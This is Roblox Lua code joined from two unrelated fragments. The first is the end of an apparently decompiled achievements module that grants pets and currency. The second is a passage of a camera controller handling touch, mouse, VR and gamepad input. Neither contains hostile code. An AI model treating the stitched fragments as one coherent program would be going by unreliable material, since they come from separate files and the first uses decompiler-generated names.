v3.progress = v3.progress + p3;
local l__stage__4 = v3.stage;
if v2[l__stage__4] and v2[l__stage__4].amount <= v3.progress then
u2.Advance(p1, p2);
end;
end,
Advance = function(p4, p5)
local v5 = u1.Saving.Get(p4);
if not v5 then
return;
end;
local v6 = u1.Directory.Achievements[p5];
local v7 = v5.Achievements[p5];
v7.stage = v7.stage + 1;
v7.progress = 0;
u2.Reward(p4, p5, v7.stage - 1);
coroutine.wrap(function()
u1.Signal.Fire("Achievement Completed", p4, p5, v7.stage);
u1.Network.Fire("Achievement Completed", p4, p5, v7.stage);
u1.Network.FireAll("Fireworks Animation", p4);
end)();
end
};
local u3 = Random.new();
function u2.Reward(p6, p7, p8)
if not u1.Saving.Get(p6) then
return;
end;
local v8 = u1.Directory.Achievements[p7][p8];
local l__rewardType__9 = v8.rewardType;
local l__reward__10 = v8.reward;
if l__rewardType__9 ~= "Diamonds" and l__rewardType__9 ~= "Coins" then
if l__rewardType__9 == "Pet" then
u1.Pets.Create(p6, l__reward__10, nil, true);
return;
elseif l__rewardType__9 == "GoldenPet" then
local v11 = u1.Directory.Pets[l__reward__10];
u1.Pets.Create(p6, l__reward__10, {
g = true,
s = u3:NextInteger(v11.strengthMin, v11.strengthMax) * u1.Settings.GoldPetsMult
}, true, nil, true);
return;
elseif l__rewardType__9 == "RainbowPet" then
local v12 = u1.Directory.Pets[l__reward__10];
u1.Pets.Create(p6, l__reward__10, {
r = true,
s = u3:NextInteger(v12.strengthMin, v12.strengthMax) * u1.Settings.RainbowPetsMult
}, true, nil, true);
if v12.rarity == 'Exclusive' then
end
return;
elseif l__rewardType__9 == "DarkMatterPet" then
local v13 = u1.Directory.Pets[l__reward__10];
u1.Pets.Create(p6, l__reward__10, {
dm = true,
s = u3:NextInteger(v13.strengthMin, v13.strengthMax) * u1.Settings.DarkMatterPetsMult
}, true, nil, true);
return;
else
if l__rewardType__9 == "Slots" then
u1.Give.Slots(p6, l__reward__10);
end;
return;
end;
end;
u1.Give.Currency(p6, l__reward__10, l__rewardType__9);
end;
return u2;
|
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
|
local function OnCharacterAdded(character)
if UserInputService.TouchEnabled then
if PlayerGui then
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "GestureArea"
ScreenGui.Parent = PlayerGui
GestureArea = Instance.new("Frame")
GestureArea.BackgroundTransparency = 1.0
GestureArea.Visible = true
GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
layoutGestureArea(PortraitMode)
GestureArea.Parent = ScreenGui
end
for _, child in ipairs(LocalPlayer.Character:GetChildren()) do
if child:IsA("Tool") then
IsAToolEquipped = true
end
end
character.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = true
end
end)
character.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
IsAToolEquipped = false
end
end)
end
end
if LocalPlayer then
if LocalPlayer.Character ~= nil then
OnCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:connect(function(character)
OnCharacterAdded(character)
end)
end
local function positionIntersectsGuiObject(position, guiObject)
if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X
and position.X > guiObject.AbsolutePosition.X
and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y
and position.Y > guiObject.AbsolutePosition.Y then
return true
end
return false
end
local function GetRenderCFrame(part)
return part:GetRenderCFrame()
end
local function CreateCamera()
local this = {}
local R15HeadHeight = R15_HEAD_OFFSET
function this:GetActivateValue()
return 0.7
end
function this:IsPortraitMode()
return PortraitMode
end
function this:GetRotateAmountValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_ROTATION
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_ROTATION
end
end
return ZERO_VECTOR2
end
function this:GetRepeatDelayValue(vrRotationIntensity)
vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity")
if vrRotationIntensity then
if vrRotationIntensity == "Low" then
return VR_LOW_INTENSITY_REPEAT
elseif vrRotationIntensity == "High" then
return VR_HIGH_INTENSITY_REPEAT
end
end
return 0
end
this.ShiftLock = false
this.Enabled = false
local isFirstPerson = false
local isRightMouseDown = false
local isMiddleMouseDown = false
this.RotateInput = ZERO_VECTOR2
this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM
this.activeGamepad = nil
local tweens = {}
this.lastSubject = nil
this.lastSubjectPosition = Vector3.new(0, 5, 0)
local lastVRRotation = 0
local vrRotateKeyCooldown = {}
local isDynamicThumbstickEnabled = false
-- Check for changes in ViewportSize to decide if PortraitMode
local CameraChangedConn = nil
local workspaceCameraChangedConn = nil
local function onWorkspaceCameraChanged()
if UserInputService.TouchEnabled then
if CameraChangedConn then
CameraChangedConn:Disconnect()
CameraChangedConn = nil
end
local newCamera = workspace.CurrentCamera
if newCamera then
local size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
size = newCamera.ViewportSize
PortraitMode = size.X < size.Y
layoutGestureArea(PortraitMode)
DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM
end)
end
end
end
workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged)
if workspace.CurrentCamera then
onWorkspaceCameraChanged()
end
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
local STATE_DEAD = Enum.HumanoidStateType.Dead
-- HumanoidRootPart when alive, Head part when dead
local function getHumanoidPartToFollow(humanoid, humanoidStateType)
if humanoidStateType == STATE_DEAD then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('Humanoid') then
local humanoidStateType = cameraSubject:GetState()
if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then
result = this.lastSubjectPosition
else
local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType)
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
local heightOffset = ZERO_VECTOR3
if humanoidStateType ~= STATE_DEAD then
heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET
end
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset)
end
end
elseif cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
local offset = SEAT_OFFSET
if VRService.VREnabled then
offset = VR_SEAT_OFFSET
end
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
end
end
this.lastSubject = cameraSubject
this.lastSubjectPosition = result
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:GetCameraHeight()
if VRService.VREnabled and not this:IsInFirstPerson() then
local zoom = this:GetCameraZoom()
return math.sin(VR_ANGLE) * zoom
end
return 0
end
function this:ViewSizeX()
local result = 1024
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.X
end
return result
end
function this:ViewSizeY()
local result = 768
local camera = workspace.CurrentCamera
if camera then
result = camera.ViewportSize.Y
end
return result
end
local math_asin = math.asin
local math_atan2 = math.atan2
local math_floor = math.floor
local math_max = math.max
local math_pi = math.pi
local Vector2_new = Vector2.new
local Vector3_new = Vector3.new
local CFrame_Angles = CFrame.Angles
local CFrame_new = CFrame.new
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2_new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2_new(xTheta, yTheta)
end
function this:RotateVector(startVector, xyRotateVector)
local startCFrame = CFrame_new(ZERO_VECTOR3, startVector)
local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector
return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y)
end
function this:RotateCamera(startLook, xyRotateVector)
if VRService.VREnabled then
local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0))
return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector
else
local startVertical = math_asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta))
end
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
if isFirstPerson or self:GetShiftLock() then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown or isMiddleMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
function this:rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math_max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = self:rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
----- VR STUFF ------
function this:ApplyVRTransform()
if not VRService.VREnabled then
return
end
--we only want this to happen in first person VR
local player = PlayersService.LocalPlayer
if not (player and player.Character
and player.Character:FindFirstChild("HumanoidRootPart")
and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then
return
end
local camera = workspace.CurrentCamera
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
if this:IsInFirstPerson() and not isInVehicle then
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrRotation = vrFrame - vrFrame.p
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
else
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
end
end
local vrRotationIntensityExists = true
local lastVrRotationCheck = 0
function this:ShouldUseVRRotation()
if not VRService.VREnabled then
return false
end
if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
vrRotationIntensityExists = success and vrRotationIntensity ~= nil
lastVrRotationCheck = tick()
return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
end
function this:GetVRRotationInput()
local vrRotateSum = ZERO_VECTOR2
local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity")
local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity)
if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
local sign = 1
if vrGamepadRotation.x < 0 then
sign = -1
end
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
end
elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
end
if self.TurningLeft then
if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then
vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Left] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
end
if self.TurningRight then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Right] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
end
if vrRotateSum ~= ZERO_VECTOR2 then
lastVRRotation = tick()
end
return vrRotateSum
end
local cameraTranslationConstraints = Vector3.new(1, 1, 1)
local humanoidJumpOrigin = nil
local trackingHumanoid = nil
local cameraFrozen = false
local subjectStateChangedConn = nil
local cameraSubjectChangedConn = nil
local workspaceChangedConn = nil
local humanoidChildAddedConn = nil
local humanoidChildRemovedConn = nil
local function cancelCameraFreeze(keepConstraints)
if not keepConstraints then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z)
end
if cameraFrozen then
trackingHumanoid = nil
cameraFrozen = false
end
end
local function startCameraFreeze(subjectPosition, humanoidToTrack)
if not cameraFrozen then
humanoidJumpOrigin = subjectPosition
trackingHumanoid = humanoidToTrack
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z)
cameraFrozen = true
end
end
local function rescaleCameraOffset(newScaleFactor)
R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor
end
local function onHumanoidSubjectChildAdded(child)
if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
end
heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset)
rescaleCameraOffset(child.Value)
end
end
local function onHumanoidSubjectChildRemoved(child)
if child.Name == "BodyHeightScale" then
rescaleCameraOffset(1)
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
end
end
local function onNewCameraSubject()
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if humanoidChildAddedConn then
humanoidChildAddedConn:disconnect()
humanoidChildAddedConn = nil
end
if humanoidChildRemovedConn then
humanoidChildRemovedConn:disconnect()
humanoidChildRemovedConn = nil
end
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if trackingHumanoid ~= humanoid then
cancelCameraFreeze()
end
if humanoid and humanoid:IsA('Humanoid') then
humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded)
humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved)
for _, child in pairs(humanoid:GetChildren()) do
onHumanoidSubjectChildAdded(child)
end
subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then
startCameraFreeze(this:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
cancelCameraFreeze(true)
end
end)
end
end
local function onCurrentCameraChanged()
if cameraSubjectChangedConn then
cameraSubjectChangedConn:disconnect()
cameraSubjectChangedConn = nil
end
local camera = workspace.CurrentCamera
if camera then
cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject)
onNewCameraSubject()
end
end
function this:GetVRFocus(subjectPosition, timeDelta)
local newFocus = nil
local camera = workspace.CurrentCamera
local lastFocus = self.LastCameraFocus or subjectPosition
if not cameraFrozen then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z)
end
if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then
newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
else
newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y))
end
if cameraFrozen then
-- No longer in 3rd person
if self:IsInFirstPerson() then -- not VRService.VREnabled
cancelCameraFreeze()
end
-- This case you jumped off a cliff and want to keep your character in view
-- 0.5 is to fix floating point error when not jumping off cliffs
if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then
cancelCameraFreeze()
end
end
return newFocus
end
------------------------
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local lastTapTime = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local inputStartPositions = {}
local inputStartTimes = {}
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
--If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea
if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) then
fingerTouches[input] = processed
if not processed then
inputStartPositions[input] = input.Position
inputStartTimes[input] = tick()
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
if isDynamicThumbstickEnabled then
return
end
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue())
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math_max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 10, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function calcLookBehindRotateInput(torso)
if torso then
local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
return Vector2.new(horizontalShift, vertShift)
end
return nil
end
local OnTouchTap = nil
if not touchWorkspaceEventEnabled then
OnTouchTap = function(position)
if isDynamicThumbstickEnabled and not IsAToolEquipped then
if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
local tween = {
from = this:GetCameraZoom(),
to = DefaultZoom,
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
this:ZoomCamera(from + (to - from)*alpha)
return to
end
}
tweens["Zoom"] = tween
else
local humanoid = this:GetHumanoid()
if humanoid then
local player = PlayersService.LocalPlayer
if player and player.Character then
if humanoid and humanoid.Torso then
local tween = {
from = this.RotateInput,
to = calcLookBehindRotateInput(humanoid.Torso),
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
to = calcLookBehindRotateInput(humanoid.Torso)
if to then
this.RotateInput = from + (to - from)*alpha
end
return to
end
}
tweens["Rotate"] = tween
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
end
end
lastTapTime = tick()
end
end
end
local function IsTouchTap(input)
-- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type.
if inputStartPositions[input] then
local posDelta = (inputStartPositions[input] - input.Position).magnitude
if posDelta < MAX_TAP_POS_DELTA then
local timeDelta = inputStartTimes[input] - tick()
if timeDelta < MAX_TAP_TIME_DELTA then
return true
end
end
end
return false
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
if not touchWorkspaceEventEnabled and IsTouchTap(input) then
OnTouchTap(input.Position)
end
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
inputStartPositions[input] = nil
inputStartTimes[input] = nil
end
local function OnMousePanButtonPressed(input, processed)
if processed then return end
this:UpdateMouseBehavior()
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
end
local function OnMousePanButtonReleased(input, processed)
this:UpdateMouseBehavior()
if not (isRightMouseDown or isMiddleMouseDown) then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouse3Down(input, processed)
if processed then return end
isMiddleMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse3Up(input, processed)
isMiddleMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouseMoved(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
local inputDelta = input.Delta
inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue())
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math_floor(num + 0.5)
end
local eight2Pi = math_pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= ZERO_VECTOR3 then
camLook = camLook.unit
local currAngle = math_atan2(camLook.z, camLook.x)
local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
-- this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
-- this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 6
local vrMaxSpeed = 4
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1, 1, point)
end
return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == ZERO_VECTOR2 then
lastThumbstickRotate = nil
if lastThumbstickPos == ZERO_VECTOR2 then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
if VRService.VREnabled then
currentSpeed = vrMaxSpeed
else
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
